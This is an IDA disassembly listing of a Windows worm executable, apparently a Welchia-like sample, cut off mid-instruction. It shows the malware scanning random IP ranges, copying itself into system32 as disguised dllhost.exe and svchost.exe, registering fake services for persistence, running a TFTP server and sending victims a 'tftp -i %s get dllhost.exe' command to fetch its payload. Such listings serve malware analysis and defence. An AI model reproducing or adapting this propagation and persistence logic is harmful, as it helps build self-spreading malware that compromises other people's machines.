; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 2BF3E548B9E94774852639B3E260A928 ; File Name : u:\work\2bf3e548b9e94774852639b3e260a928_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00006000 ( 24576.) ; Section size in file : 00006000 ( 24576.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg000 segment para public 'CODE' use32 assume cs:seg000 ;org 401000h assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_402A00+Dp ; DATA XREF: sub_40A364+13Dr ... sub esp, 230h sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401006 proc near ; DATA XREF: start+97o var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_10 = byte ptr 14h arg_114 = byte ptr 118h arg_124 = byte ptr 128h arg_125 = byte ptr 129h arg_230 = dword ptr 234h push ebp push esi push edi mov ecx, 41h xor eax, eax lea edi, [esp+0Ch+arg_125] mov [esp+0Ch+arg_124], 0 lea edx, [esp+0Ch+arg_124] rep stosd mov edi, [esp+0Ch+arg_230] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov dword ptr [esp+0Ch], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 push eax rep movsb mov ecx, 49h lea edi, [esp+10h+arg_0] rep stosd push 2 call sub_403134 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4010E7 lea ecx, [esp+14h+var_8] mov [esp+14h+var_8], 128h push ecx push edi call sub_40312E ; Process32First test eax, eax jz short loc_4010E0 mov esi, dword_404120 mov ebp, dword_404140 loc_401091: ; CODE XREF: sub_401006+C3j lea edx, [esp+1Ch+arg_10] push 2Eh push edx call esi ; dword_404120 add esp, 8 test eax, eax jz short loc_4010A4 mov byte ptr [eax], 0 loc_4010A4: ; CODE XREF: sub_401006+99j lea eax, [esp+1Ch+arg_114] lea ecx, [esp+1Ch+arg_10] push eax push ecx call ebp ; dword_404140 add esp, 8 test eax, eax jz short loc_4010CB lea edx, [esp+1Ch+var_10] push edx push edi call sub_403128 ; Process32Next test eax, eax jz short loc_4010E0 jmp short loc_401091 ; --------------------------------------------------------------------------- loc_4010CB: ; CODE XREF: sub_401006+B2j push edi call dword_4040E0 ; CloseHandle mov eax, [esp+20h+var_C] pop edi pop esi pop ebp add esp, 230h retn ; --------------------------------------------------------------------------- loc_4010E0: ; CODE XREF: sub_401006+7Dj ; sub_401006+C1j push edi call dword_4040E0 ; CloseHandle loc_4010E7: ; CODE XREF: sub_401006+66j pop edi pop esi xor eax, eax pop ebp add esp, 230h retn sub_401006 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401100 proc near ; CODE XREF: sub_401470+38p var_2 = byte ptr -2 var_1 = byte ptr -1 push ecx push ebx push esi mov esi, dword_40413C call esi ; dword_40413C cdq mov ecx, 11h idiv ecx cmp edx, 0Eh jnz short loc_40112E call esi ; dword_40413C mov ebx, eax and ebx, 80000003h jns short loc_401129 dec ebx or ebx, 0FFFFFFFCh inc ebx loc_401129: ; CODE XREF: sub_401100+22j add bl, 3Fh jmp short loc_401160 ; --------------------------------------------------------------------------- loc_40112E: ; CODE XREF: sub_401100+16j cmp edx, 0Fh jnz short loc_401144 call esi ; dword_40413C cdq mov ecx, 2Dh idiv ecx mov ebx, edx add bl, 80h jmp short loc_401160 ; --------------------------------------------------------------------------- loc_401144: ; CODE XREF: sub_401100+31j cmp edx, 10h jnz short loc_40115A call esi ; dword_40413C cdq mov ecx, 9 idiv ecx mov ebx, edx sub bl, 40h jmp short loc_401160 ; --------------------------------------------------------------------------- loc_40115A: ; CODE XREF: sub_401100+47j mov bl, byte_405BA4[edx] loc_401160: ; CODE XREF: sub_401100+2Cj ; sub_401100+42j ... call esi ; dword_40413C and eax, 800000FFh jns short loc_401170 dec eax or eax, 0FFFFFF00h inc eax loc_401170: ; CODE XREF: sub_401100+67j mov [esp+0Ch+var_2], al call esi ; dword_40413C and eax, 800000FFh jns short loc_401184 dec eax or eax, 0FFFFFF00h inc eax loc_401184: ; CODE XREF: sub_401100+7Bj mov [esp+0Ch+var_1], al call esi ; dword_40413C and eax, 800000FFh jns short loc_401198 dec eax or eax, 0FFFFFF00h inc eax loc_401198: ; CODE XREF: sub_401100+8Fj xor edx, edx xor ecx, ecx mov ch, [esp+0Ch+var_1] mov dh, bl mov dl, [esp+0Ch+var_2] and eax, 0FFh shl edx, 10h or eax, edx and ecx, 0FFFFh pop esi or eax, ecx pop ebx pop ecx retn sub_401100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4011C0 proc near ; CODE XREF: seg000:004030AAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 call dword_4040CC ; FreeConsole call sub_4027B0 test eax, eax jnz short locret_4011FB push 104h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" call dword_4040D0 ; GetSystemDirectoryA call sub_402730 sub eax, 2 jz short loc_4011FC mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4016D0 add esp, 8 locret_4011FB: ; CODE XREF: sub_4011C0+Dj retn ; --------------------------------------------------------------------------- loc_4011FC: ; CODE XREF: sub_4011C0+27j jmp sub_4027E0 sub_4011C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401210 proc near ; CODE XREF: sub_401280+AFp ; sub_401280:loc_4013B1p ... push esi mov esi, dword_4040C8 loc_401217: ; CODE XREF: sub_401210+27j call sub_401E80 test eax, eax jnz short loc_401230 loc_401220: ; CODE XREF: sub_401210+1Ej push 927C0h call esi ; dword_4040C8 call sub_401E80 test eax, eax jz short loc_401220 loc_401230: ; CODE XREF: sub_401210+Ej call sub_401EA0 test eax, eax jz short loc_401217 mov esi, dword_40411C push offset dword_407478 push offset aTftpISGetDllho ; "tftp -i %s get dllhost.exe wins\\DLLHOST"... push offset dword_4075A8 call esi ; dword_40411C add esp, 0Ch push offset dword_407478 push offset aTftpISGetSvcho ; "tftp -i %s get svchost.exe wins\\SVCHOST"... push offset dword_407628 call esi ; dword_40411C add esp, 0Ch call sub_4020E0 call sub_402130 pop esi retn sub_401210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401280 proc near ; CODE XREF: sub_4016D0+Aj ; seg000:0040294Fp var_1A0 = word ptr -1A0h var_194 = byte ptr -194h var_190 = byte ptr -190h sub esp, 1A4h lea eax, [esp+1A4h+var_190] push eax push 202h call dword_40418C ; WSAStartup test eax, eax jnz loc_401359 call sub_402A00 lea ecx, [esp+1A4h+var_1A0] push ecx call dword_4040B8 ; GetLocalTime cmp [esp+1A4h+var_1A0], 7D4h jnz short loc_4012DB push offset aRpcpatch ; "RpcPatch" call sub_402F00 push offset aRpctftpd ; "RpcTftpd" call sub_402F00 add esp, 8 call sub_402970 push 1 call dword_4040BC ; ExitProcess loc_4012DB: ; CODE XREF: sub_401280+35j push ebx push ebp push esi push edi call dword_4040C0 ; GetTickCount push eax call dword_404104 ; srand mov esi, dword_4040C8 mov ecx, 10h mov eax, 0AAAAAAAAh mov edi, offset dword_406430 add esp, 4 rep stosd loc_401306: ; CODE XREF: sub_401280+A3j push 109A0h call sub_402FC0 add esp, 4 mov ds:dword_4075A0, eax push 64h call esi ; dword_4040C8 mov eax, ds:dword_4075A0 test eax, eax jz short loc_401306 call sub_401F30 call sub_402170 call sub_401210 call sub_401780 lea edx, [esp+1A4h+var_194] push edx push 0 push 0 push offset sub_401990 push 0 push 0 call dword_4040C4 ; CreateThread test eax, eax jnz short loc_401360 pop edi pop esi pop ebp pop ebx loc_401359: ; CODE XREF: sub_401280+18j add esp, 1A4h retn ; --------------------------------------------------------------------------- loc_401360: ; CODE XREF: sub_401280+D3j push eax call dword_4040E0 ; CloseHandle push offset aRpctftpd ; "RpcTftpd" call sub_402540 add esp, 4 test eax, eax jnz short loc_401398 push 3E8h call esi ; dword_4040C8 call sub_4015E0 push 3E8h call esi ; dword_4040C8 push offset aRpctftpd ; "RpcTftpd" call sub_402540 add esp, 4 loc_401398: ; CODE XREF: sub_401280+F6j push 7D0h call esi ; dword_4040C8 mov ebx, dword_404190 mov ebp, dword_404194 mov edi, dword_40413C loc_4013B1: ; CODE XREF: sub_401280+1DEj call sub_401210 push offset dword_407478 call ebp ; dword_404194 push eax call ebx ; dword_404190 mov esi, eax push 0 and esi, 0FFFF0000h push 0 push 1 push esi call sub_401470 add esp, 10h call sub_401210 call edi ; dword_40413C and eax, 80000001h jns short loc_4013EA dec eax or eax, 0FFFFFFFEh inc eax loc_4013EA: ; CODE XREF: sub_401280+163j jz short loc_4013F4 add esi, 10000h jmp short loc_4013FA ; --------------------------------------------------------------------------- loc_4013F4: ; CODE XREF: sub_401280:loc_4013EAj sub esi, 30000h loc_4013FA: ; CODE XREF: sub_401280+172j push 0 push 0 push 3 push esi call sub_401470 call sub_401210 call edi ; dword_40413C cdq mov ecx, 4Ch xor esi, esi idiv ecx push 1 push 0 push 1 mov si, word_40537C[edx*2] shl esi, 10h push esi call sub_401470 add esp, 20h call sub_401210 call edi ; dword_40413C and eax, 80000001h jns short loc_401444 dec eax or eax, 0FFFFFFFEh inc eax loc_401444: ; CODE XREF: sub_401280+1BDj jz short loc_40144A push 0 jmp short loc_40144C ; --------------------------------------------------------------------------- loc_40144A: ; CODE XREF: sub_401280:loc_401444j push 1 loc_40144C: ; CODE XREF: sub_401280+1C8j ; DATA XREF: sub_40A364+31Br push 1 push 1 push esi call sub_401470 add esp, 10h call sub_402A00 jmp loc_4013B1 sub_401280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401470 proc near ; CODE XREF: sub_401280+14Fp ; sub_401280+181p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 0Ch push ebx push ebp mov ebp, dword_4040C8 push esi mov esi, [esp+18h+arg_4] push edi shl esi, 10h xor edi, edi xor ebx, ebx test esi, esi mov [esp+1Ch+var_8], 1 mov [esp+1Ch+var_C], ebx mov [esp+1Ch+var_4], esi jle loc_4015C7 loc_4014A0: ; CODE XREF: sub_401470+151j mov eax, [esp+1Ch+arg_8] test eax, eax jz short loc_4014B1 call sub_401100 mov ebx, eax jmp short loc_4014B7 ; --------------------------------------------------------------------------- loc_4014B1: ; CODE XREF: sub_401470+36j mov eax, [esp+1Ch+arg_0] add ebx, eax loc_4014B7: ; CODE XREF: sub_401470+3Fj cmp bl, 0C5h jz loc_4015B6 mov ecx, ebx shr ecx, 8 cmp cl, 0C5h jz loc_4015B6 mov eax, ebx shr eax, 10h cmp al, 0C5h jz loc_4015B6 mov edx, ebx shr edx, 18h cmp dl, 0C5h jz loc_4015B6 cmp bx, 9999h jz loc_4015B6 cmp cx, 9999h jz loc_4015B6 cmp ax, 9999h jz loc_4015B6 push 4 call sub_402FC0 mov esi, eax add esp, 4 test esi, esi jnz short loc_40152D push 64h call ebp ; dword_4040C8 push 4 call sub_402FC0 mov esi, eax add esp, 4 test esi, esi jz short loc_401575 loc_40152D: ; CODE XREF: sub_401470+A7j test edi, edi jz short loc_401538 push edi call dword_4040E0 ; CloseHandle loc_401538: ; CODE XREF: sub_401470+BFj push ebx call dword_404188 ; ntohl mov [esi], eax mov eax, [esp+1Ch+arg_C] test eax, eax jz short loc_401558 lea eax, [esp+1Ch+arg_4] push eax push 0 push esi push offset sub_402C40 jmp short loc_401565 ; --------------------------------------------------------------------------- loc_401558: ; CODE XREF: sub_401470+D7j lea ecx, [esp+1Ch+arg_4] push ecx push 0 push esi push offset sub_402B20 loc_401565: ; CODE XREF: sub_401470+E6j push 0 push 0 call dword_4040C4 ; CreateThread push 2 mov edi, eax call ebp ; dword_4040C8 loc_401575: ; CODE XREF: sub_401470+BBj mov eax, [esp+1Ch+var_8] test eax, eax jz short loc_401596 cmp [esp+1Ch+var_C], 12Ch jl short loc_401596 push 7D0h call ebp ; dword_4040C8 mov [esp+1Ch+var_8], 0 loc_401596: ; CODE XREF: sub_401470+10Bj ; sub_401470+115j cmp ds:dword_4075A4, 12Ch jl short loc_4015B2 loc_4015A2: ; CODE XREF: sub_401470+140j push 2 call ebp ; dword_4040C8 cmp ds:dword_4075A4, 12Ch jge short loc_4015A2 loc_4015B2: ; CODE XREF: sub_401470+130j mov esi, [esp+1Ch+var_4] loc_4015B6: ; CODE XREF: sub_401470+4Aj ; sub_401470+58j ... mov ebx, [esp+1Ch+var_C] inc ebx loc_4015BB: ; DATA XREF: sub_40A364+F0r cmp ebx, esi mov [esp+1Ch+var_C], ebx jl loc_4014A0 loc_4015C7: ; CODE XREF: sub_401470+2Aj push 0EA60h call ebp ; dword_4040C8 pop edi pop esi pop ebp pop ebx add esp, 0Ch retn sub_401470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4015E0 proc near ; CODE XREF: sub_401280+FFp ; sub_4016D0p var_208 = byte ptr -208h var_104 = byte ptr -104h sub esp, 208h lea eax, [esp+208h+var_104] push esi mov esi, dword_40411C push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push offset aSDllcacheTftpd ; "%s\\dllcache\\tftpd.exe" push eax call esi ; dword_40411C add esp, 0Ch lea ecx, [esp+20Ch+var_208] push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push offset aSWinsSvchost_e ; "%s\\wins\\svchost.exe" push ecx call esi ; dword_40411C add esp, 0Ch lea edx, [esp+20Ch+var_208] lea eax, [esp+20Ch+var_104] push 0 push edx push eax call dword_4040B4 ; CopyFileA push offset aMsdtc ; "MSDTC" push offset aSvchost_exe ; "svchost.exe" push offset aNetworkConnect ; "Network Connections Sharing" push offset aRpctftpd ; "RpcTftpd" call sub_4023E0 add esp, 10h pop esi add esp, 208h retn sub_4015E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401660 proc near ; CODE XREF: sub_4016D0+5p var_20C = byte ptr -20Ch var_108 = byte ptr -108h sub esp, 20Ch lea eax, [esp+20Ch+var_108] push 104h push eax push 0 call dword_4040A8 ; GetModuleFileNameA push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" lea ecx, [esp+210h+var_20C] push offset aSWinsDllhost_e ; "%s\\wins\\DLLHOST.EXE" push ecx call dword_40411C ; sprintf add esp, 0Ch lea edx, [esp+20Ch+var_20C] lea eax, [esp+20Ch+var_108] push 0 push edx push eax call dword_4040B4 ; CopyFileA push offset aBrowser ; "Browser" push offset aDllhost_exe ; "DLLHOST.EXE" push offset aWinsClient ; "WINS Client" push offset aRpcpatch ; "RpcPatch" call sub_4023E0 add esp, 21Ch retn sub_401660 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4016D0 proc near ; CODE XREF: sub_4011C0+33p call sub_4015E0 call sub_401660 jmp sub_401280 sub_4016D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4016E0 proc near ; CODE XREF: sub_401780:loc_4018BCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] push 0 push 0 push eax push ecx push 0 call sub_403110 neg eax sbb eax, eax inc eax retn sub_4016E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401700 proc near ; CODE XREF: sub_401780+16Dp var_54 = dword ptr -54h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd lea ecx, [esp+58h+var_54] lea edx, [esp+58h+var_44] push ecx mov ecx, [esp+5Ch+arg_0] push edx push eax push eax push eax push eax push eax push eax push ecx push eax mov [esp+80h+var_44], 44h mov [esp+80h+var_40], eax mov [esp+80h+var_38], eax mov [esp+80h+var_3C], eax mov [esp+80h+var_28], eax mov [esp+80h+var_2C], eax mov [esp+80h+var_30], eax mov [esp+80h+var_34], eax mov [esp+80h+var_14], ax mov [esp+80h+var_10], eax mov [esp+80h+var_12], ax mov [esp+80h+var_18], 1 call dword_4040E4 ; CreateProcessA mov ecx, [esp+58h+var_54] pop edi neg eax sbb eax, eax and eax, ecx add esp, 54h retn sub_401700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401780 proc near ; CODE XREF: sub_401280+B4p var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = word ptr -0B8h var_B6 = byte ptr -0B6h var_B4 = byte ptr -0B4h sub esp, 0C8h push esi push edi call sub_402310 mov edi, eax test edi, edi jz short loc_40179C cmp edi, 1 jnz loc_4018C8 loc_40179C: ; CODE XREF: sub_401780+11j push edi call sub_402390 add esp, 4 test eax, eax jnz loc_4018C8 call dword_4040A0 ; GetOEMCP mov esi, eax call dword_4040A4 ; GetSystemDefaultLCID mov ecx, eax and ecx, 3FFh shr ax, 0Ah cmp esi, 1B5h jnz short loc_4017E7 cmp cx, 9 jnz loc_40192F cmp ax, 1 jnz loc_40192F xor eax, eax jmp short loc_40185E ; --------------------------------------------------------------------------- loc_4017E7: ; CODE XREF: sub_401780+4Dj cmp esi, 3A8h jnz short loc_40180A cmp cx, 4 jnz loc_40192F cmp ax, 2 jnz loc_40192F mov eax, 1 jmp short loc_40185E ; --------------------------------------------------------------------------- loc_40180A: ; CODE XREF: sub_401780+6Dj cmp esi, 3B6h jnz short loc_40182D cmp cx, 4 jnz loc_40192F cmp ax, 1 jnz loc_40192F mov eax, 2 jmp short loc_40185E ; --------------------------------------------------------------------------- loc_40182D: ; CODE XREF: sub_401780+90j cmp esi, 3A4h jz loc_40192F cmp esi, 3B5h jnz loc_40192F cmp cx, 12h jnz loc_40192F cmp ax, 1 jnz loc_40192F mov eax, 3 loc_40185E: ; CODE XREF: sub_401780+65j ; sub_401780+88j ... mov ecx, dword_4061A8 mov edx, dword_4061AC mov [esp+0D0h+var_C8], ecx mov ecx, dword_4061B0 mov [esp+0D0h+var_C4], edx mov edx, dword_4061B4 mov [esp+0D0h+var_C0], ecx mov cx, word_4061B8 mov [esp+0D0h+var_BC], edx mov dl, byte_4061BA test edi, edi mov [esp+0D0h+var_B8], cx mov [esp+0D0h+var_B6], dl jnz short loc_4018AF mov eax, off_405424[eax*4] lea ecx, [esp+0D0h+var_C8] push eax push ecx jmp short loc_4018BC ; --------------------------------------------------------------------------- loc_4018AF: ; CODE XREF: sub_401780+11Ej mov edx, off_405414[eax*4] lea eax, [esp+0D0h+var_C8] push edx push eax loc_4018BC: ; CODE XREF: sub_401780+12Dj call sub_4016E0 add esp, 8 test eax, eax jnz short loc_4018D3 loc_4018C8: ; CODE XREF: sub_401780+16j ; sub_401780+27j pop edi xor eax, eax pop esi add esp, 0C8h retn ; --------------------------------------------------------------------------- loc_4018D3: ; CODE XREF: sub_401780+146j lea ecx, [esp+0D0h+var_C8] lea edx, [esp+0D0h+var_B4] push ecx loc_4018DC: ; DATA XREF: seg002:0040A689o push offset aSNOZQ ; "%s -n -o -z -q" push edx call dword_40411C ; sprintf lea eax, [esp+0DCh+var_B4] push eax call sub_401700 mov esi, eax add esp, 10h test esi, esi jnz short loc_401904 pop edi pop esi add esp, 0C8h retn ; --------------------------------------------------------------------------- loc_401904: ; CODE XREF: sub_401780+179j push 57E40h push esi call dword_4040B0 ; WaitForSingleObject test eax, eax jz short loc_40193A push 1 push esi call dword_4040AC ; TerminateProcess push esi call dword_4040E0 ; CloseHandle lea ecx, [esp+0D0h+var_C8] push ecx call dword_4040E8 ; DeleteFileA loc_40192F: ; CODE XREF: sub_401780+53j ; sub_401780+5Dj ... pop edi xor eax, eax pop esi add esp, 0C8h retn ; --------------------------------------------------------------------------- loc_40193A: ; CODE XREF: sub_401780+192j push esi call dword_4040E0 ; CloseHandle mov esi, dword_4040C8 push 3A98h call esi ; dword_4040C8 lea edx, [esp+0D0h+var_C8] push edx call dword_4040E8 ; DeleteFileA push edi call sub_402390 add esp, 4 test eax, eax jz short loc_401977 push 2 call sub_4022A0 add esp, 4 push 4E20h call esi ; dword_4040C8 loc_401977: ; CODE XREF: sub_401780+1E4j pop edi mov eax, 1 pop esi add esp, 0C8h retn sub_401780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401990 proc near ; DATA XREF: sub_401280+C2o var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = byte ptr -10h sub esp, 28h push ebx push ebp push esi push edi push 0 push 1 push 2 call dword_404150 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_401AFA push 0 call dword_404188 ; ntohl mov [esp+38h+var_20], 2 mov [esp+38h+var_1C], eax call dword_40413C ; rand cdq mov ecx, 64h mov ebx, dword_404174 idiv ecx mov ebp, dword_404178 add edx, 29Ah xor esi, esi loc_4019E3: ; CODE XREF: sub_401990+8Fj add dx, si xor eax, eax mov al, dh mov word_405B68, dx cmp al, 0C5h jz short loc_401A18 cmp dl, 0C5h jz short loc_401A18 push edx call ebx ; dword_404174 lea ecx, [esp+38h+var_20] push 10h push ecx push edi mov [esp+44h+var_1E], ax call ebp ; dword_404178 cmp eax, 0FFFFFFFFh jnz short loc_401A21 mov dx, word_405B68 loc_401A18: ; CODE XREF: sub_401990+63j ; sub_401990+68j inc esi cmp esi, 3E8h jl short loc_4019E3 loc_401A21: ; CODE XREF: sub_401990+7Fj cmp esi, 3E8h jnz short loc_401A37 call dword_40417C ; WSACleanup push 1 call dword_4040BC ; ExitProcess loc_401A37: ; CODE XREF: sub_401990+97j push 7D0h push edi loc_401A3D: ; DATA XREF: seg002:0040A4C8r call dword_404180 ; listen cmp eax, 0FFFFFFFFh jz loc_401AF3 lea edx, [esp+38h+var_28] lea eax, [esp+38h+var_10] push edx push eax push edi mov [esp+44h+var_28], 10h call dword_404184 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jz loc_401AF3 mov ebp, dword_4040C8 mov ebx, dword_4040C4 loc_401A7C: ; CODE XREF: sub_401990+142j push 4 call sub_402FC0 add esp, 4 test eax, eax jnz short loc_401A9C push 0Ah call ebp ; dword_4040C8 push 4 call sub_402FC0 add esp, 4 test eax, eax jz short loc_401ABC loc_401A9C: ; CODE XREF: sub_401990+F8j lea ecx, [esp+38h+var_24] mov [eax], esi push ecx push 0 push eax push offset sub_401C80 push 0 push 0 call ebx ; dword_4040C4 test eax, eax jz short loc_401AE7 push eax call dword_4040E0 ; CloseHandle loc_401ABC: ; CODE XREF: sub_401990+10Aj lea edx, [esp+38h+var_28] lea eax, [esp+38h+var_10] push edx push eax push edi call dword_404184 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_401A7C push edi call dword_404170 ; closesocket pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 28h retn 4 ; --------------------------------------------------------------------------- loc_401AE7: ; CODE XREF: sub_401990+123j cmp esi, 0FFFFFFFFh jz short loc_401AF3 push esi call dword_404170 ; closesocket loc_401AF3: ; CODE XREF: sub_401990+B6j ; sub_401990+DAj ... push edi call dword_404170 ; closesocket loc_401AFA: ; CODE XREF: sub_401990+18j pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 28h retn 4 sub_401990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401B10 proc near ; CODE XREF: sub_401C80+D8p ; sub_401C80+121p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_4] push ebx push ebp push esi push edi mov edi, edx or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+10h+arg_0] push 0 not ecx dec ecx push ecx push edx push edi call dword_404168 ; send test eax, eax jnz short loc_401B3C pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_401B3C: ; CODE XREF: sub_401B10+25j mov esi, [esp+10h+arg_8] mov ebx, dword_40416C push 0 push 3FFh push esi push edi call ebx ; dword_40416C cmp eax, 0FFFFFFFFh jz short loc_401B7E mov ebp, dword_404100 loc_401B5C: ; CODE XREF: sub_401B10+6Cj push offset dword_4061BC push esi mov byte ptr [eax+esi], 0 call ebp ; dword_404100 add esp, 8 test eax, eax jnz short loc_401B85 push eax push 3FFh push esi push edi call ebx ; dword_40416C cmp eax, 0FFFFFFFFh jnz short loc_401B5C loc_401B7E: ; CODE XREF: sub_401B10+44j pop edi pop esi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_401B85: ; CODE XREF: sub_401B10+5Dj pop edi pop esi pop ebp mov eax, 1 pop ebx retn sub_401B10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401B90 proc near ; CODE XREF: sub_401C80+162p ; sub_401C80+192p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov edx, [esp+4+arg_4] push ebx push ebp push esi push edi mov edi, edx or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov esi, [esp+14h+arg_0] push 0 not ecx dec ecx push ecx push edx push esi call dword_404168 ; send test eax, eax jz loc_401C64 lea eax, [esp+14h+var_4] push 4 push eax push 1006h push 0FFFFh push esi mov [esp+28h+var_4], 15F90h call dword_404164 ; setsockopt mov ebx, dword_4040C0 call ebx ; dword_4040C0 mov edi, [esp+14h+arg_8] push 0 push 1FFh push edi push esi mov [esp+24h+arg_4], eax call dword_40416C ; recv mov esi, eax call ebx ; dword_4040C0 mov ecx, [esp+14h+arg_4] mov ebp, eax sub ebp, ecx cmp esi, 0FFFFFFFFh jz short loc_401C64 loc_401C0C: ; CODE XREF: sub_401B90+D2j mov byte ptr [esi+edi], 0 mov esi, dword_404100 push offset aTransferSucces ; "Transfer successful" push edi call esi ; dword_404100 add esp, 8 test eax, eax jnz short loc_401C6C push offset aTimeoutOccurre ; "Timeout occurred" push edi call esi ; dword_404100 add esp, 8 test eax, eax jnz short loc_401C64 cmp ebp, 15F2Ch ja short loc_401C64 call ebx ; dword_4040C0 mov ecx, [esp+14h+arg_0] push 0 push 1FFh push edi push ecx mov [esp+24h+arg_4], eax call dword_40416C ; recv mov esi, eax call ebx ; dword_4040C0 sub eax, [esp+14h+arg_4] add ebp, eax cmp esi, 0FFFFFFFFh jnz short loc_401C0C loc_401C64: ; CODE XREF: sub_401B90+26j ; sub_401B90+7Aj ... pop edi pop esi pop ebp xor eax, eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_401C6C: ; CODE XREF: sub_401B90+93j pop edi pop esi pop ebp mov eax, 1 pop ebx pop ecx retn sub_401B90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401C80 proc near ; DATA XREF: sub_401990+116o var_404 = dword ptr -404h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh arg_0 = dword ptr 4 sub esp, 404h mov eax, [esp+404h+arg_0] push ebp push esi push edi mov esi, [eax] mov ecx, 0FFh xor eax, eax lea edi, [esp+410h+var_3FF] mov [esp+410h+var_400], 0 push 4 rep stosd lea ecx, [esp+414h+var_404] mov [esp+414h+var_404], 1388h stosw push ecx push 1006h push 0FFFFh push esi stosb call dword_404164 ; setsockopt mov edi, dword_40416C push 0 lea edx, [esp+414h+var_400] push 3FFh push edx push esi call edi ; dword_40416C cmp eax, 0FFFFFFFFh jz loc_401E54 test eax, eax jz loc_401E54 mov ebp, dword_404100 lea eax, [esp+410h+var_400] push offset aMicrosoftWindo ; "Microsoft Windows" push eax call ebp ; dword_404100 add esp, 8 test eax, eax jz loc_401E54 lea ecx, [esp+410h+var_400] push offset dword_4061BC push ecx call ebp ; dword_404100 add esp, 8 test eax, eax jnz short loc_401D4D loc_401D1D: ; CODE XREF: sub_401C80+CBj push 0 lea edx, [esp+414h+var_400] push 3FFh push edx push esi call edi ; dword_40416C cmp eax, 0FFFFFFFFh jz loc_401E54 mov [esp+eax+410h+var_400], 0 lea eax, [esp+410h+var_400] push offset dword_4061BC push eax call ebp ; dword_404100 add esp, 8 test eax, eax jz short loc_401D1D loc_401D4D: ; CODE XREF: sub_401C80+9Bj lea ecx, [esp+410h+var_400] push ecx push offset 